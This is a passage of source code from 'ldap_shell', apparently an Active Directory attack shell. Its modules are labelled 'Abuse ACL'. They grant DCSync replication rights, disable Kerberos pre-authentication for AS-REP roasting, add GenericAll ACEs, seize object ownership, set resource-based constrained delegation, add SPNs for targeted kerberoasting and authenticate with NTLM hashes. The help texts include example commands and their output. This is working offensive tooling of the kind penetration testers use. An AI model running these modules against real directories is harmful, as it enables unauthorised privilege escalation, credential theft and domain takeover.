ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 62 | 63 | user_name = LdapUtils.get_name_from_dn(user_dn) 64 | attr_values = [] 65 | 66 | sd['Dacl'].aces.append(AceUtils.createACE(sid=user_sid, object_type='1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) #set DS-Replication-Get-Changes-All 67 | sd['Dacl'].aces.append(AceUtils.createACE(sid=user_sid, object_type='1131f6aa-9c07-11d1-f79f-00c04fc2dcd2')) #set DS-Replication-Get-Changes 68 | sd['Dacl'].aces.append(AceUtils.createACE(sid=user_sid, object_type='89e95b76-444d-4c62-991a-0facbeda640c')) #set DS-Replication-Get-Changes-In-Filtered-Set 69 | 70 | if len(sd['Dacl'].aces) > 0: 71 | attr_values.append(sd.getData()) 72 | self.client.modify(target_dn, {ldap_attribute: [MODIFY_REPLACE, attr_values]}, controls=security_descriptor_control(sdflags=0x04)) 73 | 74 | if self.client.result['result'] == 0: 75 | self.log.info(f'DACL modified successfully! {user_name} now has DS-Replication privilege and can perform DCSync attack!') 76 | else: 77 | self.process_error_response() 78 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/set_dontreqpreauth/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, MODIFY_REPLACE 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 6 | from ldap_shell.utils.ldap_utils import LdapUtils 7 | 8 | class LdapShellModule(BaseLdapModule): 9 | """Module for configuring DONT_REQUIRE_PREAUTH flag on user accounts. Targeted AsRepRoast attack.""" 10 | 11 | help_text = "Targeted AsRepRoast attack. Set or unset DONT_REQUIRE_PREAUTH flag for a target user." 12 | examples_text = """ 13 | Enable DONT_REQUIRE_PREAUTH for user john: 14 | `set_dontreqpreauth john true` 15 | ``` 16 | [INFO] Updated userAccountControl attribute successfully 17 | ``` 18 | 19 | Disable DONT_REQUIRE_PREAUTH for user john: 20 | `set_dontreqpreauth john false` 21 | ``` 22 | [INFO] Updated userAccountControl attribute successfully 23 | ``` 24 | """ 25 | module_type = "Abuse ACL" 26 | 27 | class ModuleArgs(BaseModel): 28 | target: str = Field( 29 | description="Target user (sAMAccountName)", 30 | arg_type=ArgumentType.USER 31 | ) 32 | flag: bool = Field( 33 | description="true to enable, false to disable", 34 | arg_type=ArgumentType.BOOLEAN 35 | ) 36 | 37 | def __init__(self, args_dict: dict, 38 | domain_dumper: domainDumper, 39 | client: Connection, 40 | log=None): 41 | self.args = self.ModuleArgs(**args_dict) 42 | self.domain_dumper = domain_dumper 43 | self.client = client 44 | self.log = log or logging.getLogger('ldap-shell.shell') 45 | self.UF_DONT_REQUIRE_PREAUTH = 4194304 46 | 47 | def __call__(self): 48 | # Get target DN 49 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target) 50 | if not target_dn: 51 | self.log.error(f'Target user not found: {self.args.target}') 52 | return 53 | 54 | # Parse flag 55 | if self.args.flag == True: 56 | enable = True 57 | elif self.args.flag == False: 58 | enable = False 59 | else: 60 | self.log.error('Flag must be either true or false') 61 | return 62 | 63 | # Get current userAccountControl 64 | try: 65 | entry = self.client.search( 66 | target_dn, 67 | '(objectClass=*)', 68 | attributes=['userAccountControl'] 69 | ) 70 | if not entry or len(self.client.entries) != 1: 71 | self.log.error('Failed to get userAccountControl attribute') 72 | return 73 | 74 | current_uac = self.client.entries[0]['userAccountControl'].value 75 | self.log.debug(f'Current userAccountControl: {current_uac}') 76 | 77 | # Modify flag 78 | if enable: 79 | new_uac = current_uac | self.UF_DONT_REQUIRE_PREAUTH 80 | else: 81 | new_uac = current_uac & ~self.UF_DONT_REQUIRE_PREAUTH 82 | 83 | self.log.debug(f'New userAccountControl: {new_uac}') 84 | 85 | # Apply changes 86 | res = self.client.modify( 87 | target_dn, 88 | {'userAccountControl': [(MODIFY_REPLACE, [new_uac])]} 89 | ) 90 | 91 | if res: 92 | self.log.info('Updated userAccountControl attribute successfully') 93 | if enable: 94 | self.log.info(f'DONT_REQUIRE_PREAUTH enabled for {self.args.target}') 95 | else: 96 | self.log.info(f'DONT_REQUIRE_PREAUTH disabled for {self.args.target}') 97 | else: 98 | self.log.error(f'Failed to modify userAccountControl: {self.client.result["description"]}') 99 | 100 | except Exception as e: 101 | self.log.error(f'Error modifying userAccountControl: {str(e)}') 102 | return 103 | 104 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/set_genericall/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 6 | import ldap3 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | from ldap_shell.utils.ace_utils import AceUtils 9 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR 10 | 11 | class LdapShellModule(BaseLdapModule): 12 | """Module for setting GenericAll permissions""" 13 | 14 | help_text = "Set GenericAll permissions for a target object" 15 | examples_text = """ 16 | You can use this module to set GenericAll permissions on a target object. 17 | Example: set GenericAll for target user admin allowing user john to control it 18 | `set_genericall admin john` 19 | ``` 20 | [INFO] DACL modified successfully! john now has control of admin 21 | ``` 22 | """ 23 | module_type = "Abuse ACL" 24 | 25 | class ModuleArgs(BaseModel): 26 | target: str = Field( 27 | description="Target object (user, computer, group, etc)", 28 | arg_type=ArgumentType.DN 29 | ) 30 | grantee: str = Field( 31 | None, 32 | description="Account being granted GenericAll rights", 33 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER, ArgumentType.GROUP] 34 | ) 35 | 36 | def __init__(self, args_dict: dict, 37 | domain_dumper: domainDumper, 38 | client: Connection, 39 | log=None): 40 | self.args = self.ModuleArgs(**args_dict) 41 | self.domain_dumper = domain_dumper 42 | self.client = client 43 | self.log = log or logging.getLogger('ldap-shell.shell') 44 | 45 | def __call__(self): 46 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target): 47 | self.log.error('Invalid DN: %s', self.args.target) 48 | return 49 | 50 | # Get target information 51 | target_dn = self.args.target 52 | if not target_dn: 53 | self.log.error(f'Target object not found: {self.args.target}') 54 | return 55 | 56 | # Get grantee account information 57 | grantee_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.grantee) 58 | if not grantee_dn: 59 | self.log.error(f'Grantee account not found: {self.args.grantee}') 60 | return 61 | 62 | # Get grantee SID 63 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee) 64 | if not grantee_sid: 65 | self.log.error(f'Failed to get SID for: {self.args.grantee}') 66 | return 67 | 68 | # Get current security descriptor 69 | try: 70 | sd_data, _ = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn) 71 | 72 | if sd_data: 73 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 74 | else: 75 | sd = AceUtils.create_empty_sd() 76 | 77 | except Exception as e: 78 | self.log.error(f'Error processing security descriptor: {str(e)}') 79 | return 80 | 81 | # Add new ACE with GenericAll rights 82 | sd['Dacl'].aces.append(AceUtils.create_allow_ace(grantee_sid)) # GenericAll 83 | 84 | # Apply changes 85 | try: 86 | res = self.client.modify( 87 | target_dn, 88 | {'nTSecurityDescriptor': [(ldap3.MODIFY_REPLACE, [sd.getData()])]}, 89 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x04) 90 | ) 91 | except Exception as e: 92 | self.log.error(f'Modification failed: {str(e)}') 93 | return 94 | 95 | if res: 96 | self.log.info('DACL modified successfully! %s now has control of %s', 97 | self.args.grantee, self.args.target) 98 | if self.client.authentication == 'ANONYMOUS' and self.client.user.split('\\')[1].lower() == grantee_dn.split(',')[0].split('=')[1].lower(): 99 | self.log.info('For the changes to take effect, please restart ldap_shell.') 100 | else: 101 | self.log.error('Failed to modify DACL: %s', self.client.result['description']) 102 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/set_owner/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 6 | import ldap3 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | from ldap_shell.utils.ace_utils import AceUtils 9 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR 10 | from ldap3.protocol.formatters.formatters import format_sid 11 | from ldap3.protocol.microsoft import security_descriptor_control 12 | import ldap_shell.utils.ldaptypes as ldaptypes 13 | 14 | class LdapShellModule(BaseLdapModule): 15 | """Module for setting object owner""" 16 | 17 | help_text = "Set new owner for target object" 18 | examples_text = """ 19 | Example: set owner of DC=domain,DC=local to user john 20 | `set_owner DC=domain,DC=local john` 21 | ``` 22 | [INFO] Owner modified successfully! john now owns DC=domain,DC=local 23 | ``` 24 | """ 25 | module_type = "Abuse ACL" 26 | 27 | class ModuleArgs(BaseModel): 28 | target: str = Field( 29 | description="Target object DN", 30 | arg_type=ArgumentType.DN 31 | ) 32 | grantee: str = Field( 33 | None, 34 | description="New owner account", 35 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER] 36 | ) 37 | 38 | def __init__(self, args_dict: dict, 39 | domain_dumper: domainDumper, 40 | client: Connection, 41 | log=None): 42 | self.args = self.ModuleArgs(**args_dict) 43 | self.domain_dumper = domain_dumper 44 | self.client = client 45 | self.log = log or logging.getLogger('ldap-shell.shell') 46 | 47 | def __call__(self): 48 | # Validate target DN 49 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target): 50 | self.log.error('Invalid target DN: %s', self.args.target) 51 | return 52 | 53 | if not self.args.grantee: 54 | self.log.info('Grantee account not provided, using current user') 55 | self.args.grantee = self.client.user.split('\\')[1] 56 | 57 | # Get grantee information 58 | grantee_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.grantee) 59 | if not grantee_dn: 60 | self.log.error(f'Grantee account not found: {self.args.grantee}') 61 | return 62 | 63 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee) 64 | if not grantee_sid: 65 | self.log.error(f'Failed to get SID for: {self.args.grantee}') 66 | return 67 | 68 | # Prepare security descriptor 69 | try: 70 | self.client.search( 71 | self.domain_dumper.root, 72 | f'(distinguishedName={self.args.target})', 73 | attributes=['nTSecurityDescriptor'], 74 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x01) 75 | ) 76 | if len(self.client.entries) > 0: 77 | sd_data = self.client.entries[0]['nTSecurityDescriptor'].raw_values 78 | else: 79 | sd_data = None 80 | 81 | if sd_data: 82 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 83 | else: 84 | sd = LdapUtils.create_empty_sd() 85 | 86 | except Exception as e: 87 | self.log.error(f'Error processing security descriptor: {str(e)}') 88 | return 89 | 90 | # Set new owner 91 | sd['OwnerSid'] = ldaptypes.LDAP_SID() 92 | sd['OwnerSid'].fromCanonical(format_sid(grantee_sid)) 93 | 94 | # Apply changes 95 | try: 96 | res = self.client.modify( 97 | self.args.target, 98 | {'nTSecurityDescriptor': [(ldap3.MODIFY_REPLACE, [sd.getData()])]}, 99 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x01) 100 | ) 101 | except Exception as e: 102 | self.log.error(f'Modification failed: {str(e)}') 103 | return 104 | 105 | if res: 106 | self.log.info('Owner modified successfully! %s now owns %s', 107 | self.args.grantee, self.args.target) 108 | if self.client.authentication == 'ANONYMOUS': 109 | self.log.info('For changes to take effect, please restart ldap_shell') 110 | else: 111 | self.log.error('Failed to modify owner: %s', self.client.result['description']) 112 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/set_rbcd/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | import ldap3 9 | from ldap_shell.utils.ldap_utils import LdapUtils 10 | from ldap_shell.utils.ace_utils import AceUtils 11 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR 12 | 13 | class LdapShellModule(BaseLdapModule): 14 | """Module for configuring RBCD (Resource-Based Constrained Delegation)""" 15 | 16 | help_text = "Configure RBCD permissions for a target computer" 17 | examples_text = """ 18 | You can use this module to abuse GenericAll, GenericWrite and 19 | Write to property AllowedToActOnBehalfOfOtherIdentity rights on a computer account. 20 | Example: set RBCD for target computer DC01 allowing WEB01 to delegate 21 | `set_rbcd DC01$ WEB01$` 22 | ``` 23 | [INFO] Delegation rights modified successfully! WEB01$ can now impersonate users on DC01$ via S4U2Proxy 24 | ``` 25 | `search "(sAMAccountName=WIN-AQ92SG0RJNU$)" sAMAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity` 26 | ``` 27 | [INFO] Starting search operation... 28 | 29 | sAMAccountName : WIN-AQ92SG0RJNU$ 30 | msDS-AllowedToActOnBehalfOfOtherIdentity: 010004804000000000000000000000001400000004002c000100000000002400ff010f000105000000000005150000003a81230a1ca426c690bee9becd0f000001020000000000052000000020020000 31 | ``` 32 | """ 33 | module_type = "Abuse ACL" 34 | 35 | class ModuleArgs(BaseModel): 36 | target: str = Field( 37 | description="Target computer account", 38 | arg_type=ArgumentType.COMPUTER 39 | ) 40 | grantee: str = Field( 41 | description="Account being granted delegation rights", 42 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER, ArgumentType.GROUP] 43 | ) 44 | 45 | def __init__(self, args_dict: dict, 46 | domain_dumper: domainDumper, 47 | client: Connection, 48 | log=None): 49 | self.args = self.ModuleArgs(**args_dict) 50 | self.domain_dumper = domain_dumper 51 | self.client = client 52 | self.log = log or logging.getLogger('ldap-shell.shell') 53 | 54 | def __call__(self): 55 | # Get target information 56 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target) 57 | if not target_dn: 58 | self.log.error(f'Target computer not found: {self.args.target}') 59 | return 60 | 61 | # Get grantee account information 62 | grantee_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.grantee) 63 | if not grantee_dn: 64 | self.log.error(f'Grantee account not found: {self.args.grantee}') 65 | return 66 | 67 | # Get grantee SID 68 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee) 69 | if not grantee_sid: 70 | self.log.error(f'Failed to get SID for: {self.args.grantee}') 71 | return 72 | 73 | # Get current security descriptor 74 | try: 75 | entry = self.client.search( 76 | target_dn, 77 | f'(sAMAccountName={self.args.target})', 78 | attributes=['msDS-AllowedToActOnBehalfOfOtherIdentity'] 79 | ) 80 | if not entry or len(self.client.entries) != 1: 81 | self.log.error('Failed to retrieve target security descriptor') 82 | return 83 | 84 | sd_data = self.client.entries[0]['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values 85 | if sd_data: 86 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 87 | self.log.info('Current allowed SIDs:') 88 | for ace in sd['Dacl'].aces: 89 | if ace['Ace']['Sid'].formatCanonical() == grantee_sid: 90 | self.log.warning('Grantee already has delegation rights') 91 | return 92 | else: 93 | sd = AceUtils.create_empty_sd() 94 | 95 | except Exception as e: 96 | self.log.error(f'Error processing security descriptor: {str(e)}') 97 | return 98 | 99 | # Add new ACE 100 | sd['Dacl'].aces.append(AceUtils.create_allow_ace(grantee_sid)) 101 | 102 | # Apply changes 103 | try: 104 | res = self.client.modify( 105 | target_dn, 106 | {'msDS-AllowedToActOnBehalfOfOtherIdentity': [(ldap3.MODIFY_REPLACE, [sd.getData()])]} 107 | ) 108 | except Exception as e: 109 | self.log.error(f'Modification failed: {str(e)}') 110 | return 111 | 112 | if res: 113 | self.log.info('Delegation rights modified successfully! %s can now impersonate users on %s via S4U2Proxy', 114 | self.args.grantee, self.args.target) 115 | else: 116 | self.log.error('Failed to modify delegation rights: %s', self.client.result['description']) 117 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/set_spn/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, MODIFY_REPLACE, MODIFY_ADD, MODIFY_DELETE 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 6 | from ldap_shell.utils.ldap_utils import LdapUtils 7 | 8 | class LdapShellModule(BaseLdapModule): 9 | """Module for managing Service Principal Names (SPN) for target objects""" 10 | 11 | help_text = "List, add or delete SPN for a target object" 12 | examples_text = """ 13 | If you have GenericWrite permissions on the object, you can perform a targeted kerberoasting attack. 14 | List SPNs for user john: 15 | `set_spn john list` 16 | ``` 17 | [INFO] Current SPNs for john: 18 | [INFO] - HTTP/example.com 19 | [INFO] - MSSQLSvc/server.domain.local 20 | ``` 21 | 22 | Add SPN for user john: 23 | `set_spn john add HTTP/example.com` 24 | ``` 25 | [INFO] SPN HTTP/example.com added successfully 26 | ``` 27 | 28 | Delete SPN for user john: 29 | `set_spn john del HTTP/example.com` 30 | ``` 31 | [INFO] SPN HTTP/example.com deleted successfully 32 | ``` 33 | """ 34 | module_type = "Abuse ACL" 35 | 36 | class ModuleArgs(BaseModel): 37 | target: str = Field( 38 | description="Target object (sAMAccountName)", 39 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER] 40 | ) 41 | action: str = Field( 42 | description="Action to perform (list/add/del)", 43 | arg_type=ArgumentType.ACTION 44 | ) 45 | spn: str = Field( 46 | None, 47 | description="SPN to add or delete", 48 | arg_type=ArgumentType.STRING 49 | ) 50 | 51 | def __init__(self, args_dict: dict, 52 | domain_dumper: domainDumper, 53 | client: Connection, 54 | log=None): 55 | self.args = self.ModuleArgs(**args_dict) 56 | self.domain_dumper = domain_dumper 57 | self.client = client 58 | self.log = log or logging.getLogger('ldap-shell.shell') 59 | 60 | def __call__(self): 61 | try: 62 | # Get target DN 63 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target) 64 | if not target_dn: 65 | self.log.error(f'Target object not found: {self.args.target}') 66 | return 67 | 68 | # Get current SPNs 69 | if not self.client.search(target_dn, '(objectClass=*)', attributes=['servicePrincipalName']): 70 | self.log.error('Failed to get SPN attributes') 71 | return 72 | 73 | current_spns = [] 74 | if self.client.entries and 'servicePrincipalName' in self.client.entries[0]: 75 | current_spns = self.client.entries[0]['servicePrincipalName'].values 76 | 77 | # Handle different actions 78 | if self.args.action.lower() == 'list': 79 | if not current_spns: 80 | self.log.info(f'No SPNs found for {self.args.target}') 81 | return 82 | 83 | self.log.info(f'Current SPNs for {self.args.target}:') 84 | for spn in current_spns: 85 | self.log.info(f'- {spn}') 86 | return 87 | 88 | if not self.args.spn: 89 | self.log.error('SPN value is required for add/del actions') 90 | return 91 | 92 | if self.args.action.lower() == 'add': 93 | if self.args.spn in current_spns: 94 | self.log.warning(f'SPN {self.args.spn} already exists') 95 | return 96 | 97 | new_spns = current_spns + [self.args.spn] 98 | result = self.client.modify( 99 | target_dn, 100 | {'servicePrincipalName': [(MODIFY_REPLACE, new_spns)]} 101 | ) 102 | 103 | if result: 104 | self.log.info(f'SPN {self.args.spn} added successfully') 105 | else: 106 | self.log.error(f'Failed to add SPN: {self.client.result["description"]}') 107 | 108 | elif self.args.action.lower() == 'del': 109 | if self.args.spn not in current_spns: 110 | self.log.warning(f'SPN {self.args.spn} does not exist') 111 | return 112 | 113 | new_spns = [spn for spn in current_spns if spn != self.args.spn] 114 | result = self.client.modify( 115 | target_dn, 116 | {'servicePrincipalName': [(MODIFY_REPLACE, new_spns)]} 117 | ) 118 | 119 | if result: 120 | self.log.info(f'SPN {self.args.spn} deleted successfully') 121 | else: 122 | self.log.error(f'Failed to delete SPN: {self.client.result["description"]}') 123 | else: 124 | self.log.error('Invalid action. Use list/add/del') 125 | 126 | except Exception as e: 127 | self.log.error(f'Error managing SPNs: {str(e)}') 128 | if 'insufficient access rights' in str(e).lower(): 129 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials') 130 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/start_tls/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 6 | import ldap3 7 | 8 | class LdapShellModule(BaseLdapModule): 9 | """Module for establishing TLS connection with LDAP server""" 10 | 11 | help_text = "Start TLS connection with LDAP server" 12 | examples_text = """ 13 | TLS over LDAP is required for operations that require an encrypted channel, such as adding a user or computer. 14 | Example: Start TLS connection 15 | `start_tls` 16 | ``` 17 | [INFO] Sending StartTLS command... 18 | [INFO] StartTLS established successfully! 19 | ``` 20 | """ 21 | module_type = "Misc" 22 | 23 | class ModuleArgs(BaseModel): 24 | pass # No arguments needed for this module 25 | 26 | def __init__(self, args_dict: dict, 27 | domain_dumper: domainDumper, 28 | client: Connection, 29 | log=None): 30 | self.args = self.ModuleArgs(**args_dict) 31 | self.domain_dumper = domain_dumper 32 | self.client = client 33 | self.log = log or logging.getLogger('ldap-shell.shell') 34 | 35 | def __call__(self): 36 | try: 37 | # Check if TLS connection is already established 38 | if not self.client.tls_started and not self.client.server.ssl: 39 | self.log.info('Sending StartTLS command...') 40 | if not self.client.start_tls(): 41 | self.log.error("StartTLS failed") 42 | return 43 | self.log.info('StartTLS established successfully!') 44 | else: 45 | self.log.info('TLS connection is already established') 46 | 47 | except Exception as e: 48 | self.log.error(f'Error establishing TLS connection: {str(e)}') 49 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/switch_user/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import re 3 | import copy 4 | from ldap3 import Connection 5 | from ldapdomaindump import domainDumper 6 | from pydantic import BaseModel, Field 7 | from typing import Optional 8 | from ldap_shell.prompt import Prompt 9 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 10 | from ldap_shell.utils.security_utils import SecurityUtils 11 | 12 | class LdapShellModule(BaseLdapModule): 13 | """Module for switching current user""" 14 | 15 | help_text = "Switch current user to another" 16 | examples_text = """ 17 | Example 1: Switch to user with password specified in command line 18 | `switch_user username password` 19 | 20 | Example 2: Switch to user with interactive password prompt 21 | `switch_user username` 22 | 23 | Example 3: Switch to user using NTLM hash 24 | `switch_user username :1a59bd44fe5bec39c44c8cd3524dee` 25 | `switch_user username aad3b435b51404eeaad3b435b51404ee:1a59bd44fe5bec39c44c8cd3524dee` 26 | 27 | Example 4: Switch to computer account 28 | `switch_user srv1$ password` 29 | """ 30 | module_type = "Misc" 31 | 32 | class ModuleArgs(BaseModel): 33 | username: str = Field( 34 | description="Username to switch to", 35 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER] 36 | ) 37 | password: Optional[str] = Field( 38 | None, 39 | description="User's password or NTLM hash (optional)", 40 | arg_type=ArgumentType.STRING 41 | ) 42 | 43 | def __init__(self, args_dict: dict, 44 | domain_dumper: domainDumper, 45 | client: Connection, 46 | log=None): 47 | self.args = self.ModuleArgs(**args_dict) 48 | self.domain_dumper = domain_dumper 49 | self.client = client 50 | self.log = log or logging.getLogger('ldap-shell.shell') 51 | 52 | def __call__(self): 53 | import getpass 54 | 55 | username = self.args.username 56 | password = self.args.password 57 | 58 | if not password: 59 | password = getpass.getpass() 60 | 61 | lmhash = None 62 | nthash = None 63 | domain = self.client.user.split('\\')[0] 64 | old_user = self.client.user.split('\\')[1] 65 | old_client = copy.copy(self.client) 66 | 67 | # Check if hash was provided instead of password 68 | if re.match('^:[0-9a-f]{32}$', password) or re.match('^[0-9a-f]{32}:[0-9a-f]{32}$', password) or re.match('^[0-9a-f]{32}$', password): 69 | self.log.debug('Attempting to use hash') 70 | lmhash = 'aad3b435b51404eeaad3b435b51404ee' 71 | if re.match('^[0-9a-f]{32}$', password): 72 | nthash = password 73 | else: 74 | nthash = password.split(":")[1] 75 | 76 | if nthash: 77 | if self.client.rebind(user=domain+'\\'+username, password=lmhash+':'+nthash, authentication='NTLM'): 78 | self.log.info(f'Success! User {old_user} was changed to {username}') 79 | return f'\n{username}# ' 80 | else: 81 | self.log.error('Failed to switch user. Check password.') 82 | self.client = old_client 83 | return False 84 | else: 85 | lmhash = 'aad3b435b51404eeaad3b435b51404ee' 86 | nthash = SecurityUtils.calculate_ntlm(password) 87 | if self.client.rebind(user=domain+'\\'+username, password=lmhash+':'+nthash, authentication='NTLM'): 88 | self.log.info(f'Success! User {old_user} was changed to {username}') 89 | return f'\n{username}# ' 90 | else: 91 | self.log.error('Failed to switch user. Check password.') 92 | self.client = old_client 93 | return False 94 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/template/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | 9 | class LdapShellModule(BaseLdapModule): 10 | """Module for retrieves all groups this user is a member of""" 11 | 12 | help_text = "Template module" 13 | examples_text = """ 14 | Example 1 15 | `template` 16 | ``` 17 | [INFO] Template module any output 18 | ``` 19 | Example 2 20 | `template argument1 argument2` 21 | ``` 22 | [INFO] Template module any output 23 | ``` 24 | """ 25 | module_type = "Get Info" # Get Info, Abuse ACL, Misc and Other. 26 | 27 | class ModuleArgs(BaseModel): 28 | """Model for describing module arguments. 29 | 30 | Field() to configure each argument with: 31 | - default value (None for optional args) 32 | - description - explains the argument's purpose 33 | - arg_type - one of ArgumentType enum values: 34 | * USER - for AD user objects 35 | * COMPUTER - for AD computers 36 | * DIRECTORY - for filesystem paths 37 | * STRING - for text input 38 | more types in ../base_module.py 39 | 40 | Example: 41 | class ModuleArgs(BaseModel): 42 | user: str = Field( 43 | ..., # This argument is required 44 | description="Target AD user", 45 | arg_type=ArgumentType.USER 46 | ) 47 | group: Optional[str] = Field( 48 | None, # This argument is not required 49 | description="Optional AD group", 50 | arg_type=ArgumentType.GROUP 51 | ) 52 | """ 53 | 54 | example_arg: Optional[str] = Field( 55 | None, # This argument is not required 56 | description="Example argument", 57 | arg_type=[ArgumentType.STRING, ArgumentType.USER, ArgumentType.GROUP, ArgumentType.COMPUTER] # Changed to list of types 58 | ) 59 | 60 | def __init__(self, args_dict: dict, 61 | domain_dumper: domainDumper, 62 | client: Connection, 63 | log=None): 64 | self.args = self.ModuleArgs(**args_dict) 65 | self.domain_dumper = domain_dumper 66 | self.client = client 67 | self.log = log or logging.getLogger('ldap-shell.shell') 68 | 69 | def __call__(self): 70 | self.log.info(f"Template module called with args: {self.args}") 71 | # Get current user DN 72 | user_dn = self.client.extend.standard.who_am_i() 73 | if user_dn: 74 | self.log.info(f"Current user DN: {user_dn}") 75 | else: 76 | self.log.error("Failed to get current user DN") 77 | -------------------------------------------------------------------------------- /ldap_shell/prompt.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import Completion 2 | from prompt_toolkit import PromptSession 3 | from prompt_toolkit.auto_suggest import AutoSuggest, Suggestion 4 | from prompt_toolkit.shortcuts import CompleteStyle 5 | import string 6 | import logging 7 | from prompt_toolkit.completion import Completer 8 | from prompt_toolkit.key_binding import KeyBindings 9 | from ldap_shell.completers import CompleterFactory 10 | from ldap_shell.utils.module_loader import ModuleLoader 11 | from ldap_shell.utils import history 12 | import shlex 13 | 14 | class ModuleCompleter(Completer): 15 | def __init__(self, modules, domain_dumper, client): 16 | self.modules = modules 17 | self.domain_dumper = domain_dumper 18 | self.client = client 19 | 20 | def get_completions(self, document, complete_event): 21 | text = document.text_before_cursor 22 | try: 23 | words = shlex.split(text) 24 | except: 25 | words = shlex.split(text+'"') 26 | if text.endswith(' '): 27 | words.append('') 28 | 29 | # If this is the first word - suggest modules 30 | if len(words) <= 1 and not text.endswith(' '): 31 | word = words[0] if words else '' 32 | for module_name in self.modules: 33 | if module_name.startswith(word): 34 | yield Completion( 35 | module_name, 36 | start_position=-len(word), 37 | display_meta=self.modules[module_name].__doc__ 38 | ) 39 | return 40 | # Get current module and argument 41 | module_name = words[0] 42 | if not any(module_name.startswith(m) for m in self.modules): 43 | return 44 | 45 | module_class = self.modules[module_name] 46 | arguments = module_class.get_arguments() 47 | 48 | # Determine which argument needs suggestions 49 | current_arg_index = max(len(words) - 2, 0) 50 | 51 | if current_arg_index+1 > len(arguments): 52 | return 53 | 54 | current_arg = arguments[current_arg_index] 55 | completer = CompleterFactory.create_completer( 56 | current_arg.arg_type, 57 | self.client, 58 | self.domain_dumper 59 | ) 60 | if completer: 61 | current_word = document.get_word_before_cursor() 62 | yield from completer.get_completions(document, complete_event, current_word) 63 | 64 | class ModuleSuggester(AutoSuggest): 65 | """Suggests hints from history and module arguments""" 66 | 67 | def __init__(self, modules, history): 68 | self.modules = modules 69 | self.history = history # Should be prompt_toolkit.history.History 70 | 71 | def get_suggestion(self, buffer, document) -> Suggestion | None: 72 | text = document.text_before_cursor 73 | 74 | # 1. Check history 75 | history_suggestion = self._get_history_suggestion(text) 76 | if history_suggestion: 77 | return history_suggestion 78 | 79 | # 2. Suggest module arguments 80 | return self._get_module_suggestion(text) 81 | 82 | def _get_history_suggestion(self, text: str) -> Suggestion | None: 83 | """Find last used argument for current command""" 84 | if not text.strip(): 85 | return None 86 | 87 | # Get base command (first word) 88 | base_command = text.split()[0] 89 | 90 | # Search history for last full command with this base name 91 | last_full_command = None 92 | for entry in 